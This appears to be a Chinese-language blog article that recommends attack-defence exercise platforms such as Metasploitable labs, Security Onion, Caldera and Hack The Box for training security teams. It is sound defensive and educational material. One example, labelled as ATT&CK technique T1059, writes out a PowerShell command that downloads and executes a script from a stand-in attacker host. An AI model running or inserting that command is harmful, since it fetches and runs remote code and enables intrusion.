为什么需要攻防演练模拟平台
企业网络安全不是靠一套防火墙就能高枕无忧的。就像医院定期做消防演习一样，安全团队也得经常“拉练”。攻防演练模拟平台就是用来搭建虚拟战场的工具，让红蓝双方在不影响生产环境的前提下，真实还原攻击路径和防御响应。
几款实用的攻防演练平台推荐
Kali Linux + Metasploitable 搭建基础靶场
适合刚入门的团队。Kali 集成了大量渗透测试工具，Metasploitable 是一个故意留有漏洞的 Linux 镜像。两者配合，可以快速搭建本地实验环境。
启动方式简单，比如用 VirtualBox 加载镜像：
VBoxManage startvm "Metasploitable2" --type gui这类组合成本低，适合培训新员工或验证基础攻击手法。
Security Onion：蓝队的监控中枢
攻防演练不只是红队进攻，蓝队的检测能力同样关键。Security Onion 是基于 Ubuntu 的安全监控发行版，集成了 Suricata、Zeek（原 Bro）、Elasticsearch 和 Kibana。
部署后能实时捕获流量、分析异常行为。比如发现内网某主机频繁连接外部 4444 端口，Kibana 图表立刻告警，这就是典型的反向 shell 特征。
Cyberrange 平台：企业级演练首选
如果公司需要大规模、多场景的自动化演练，就得上 Cyberrange 类平台。国内像知道创宇的“洞鉴”x-Ray 演练系统，或者开源的 Atomic Red Team 结合 Caldera。
Caldera 是 MITRE 开发的自动化红队框架，支持通过 Web 界面编排攻击链。比如模拟 ATT&CK 中的 T1059 脚本执行技术，平台自动下发 PowerShell 命令并记录蓝队响应时间。
<attack>
<technique id="T1059">
<command>powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"</command>
</technique>
</attack>TryHackMe 与 Hack The Box：团队练手好去处
对于中小团队或个人提升技能，线上平台更省事。TryHackMe 有引导式课程，适合从零开始；Hack The Box 难度更高，房间设计贴近真实业务场景。
比如 HTB 上的“OpenAdmin”机器，暴露了 OpenNetAdmin 的 RCE 漏洞，打点过程和 CVE-2019-17675 实战几乎一致。团队每周开个房间，比写文档更能磨合默契。
怎么选适合自己的平台
小公司预算有限，可以从 Kali + Metasploitable 入手，搭个虚拟机就能玩起来。中大型企业更关注流程闭环，建议引入 Caldera 或商业 Cyberrange 平台，把攻击行为标准化、可复现。
如果团队里有人刚转安全，先上 TryHackMe 做几个 Web 渗透房间，比直接看 PPT 效果强得多。实战中学会的信息收集思路，比如从 robots.txt 发现敏感路径，回头写进内部检查清单，才是真落地。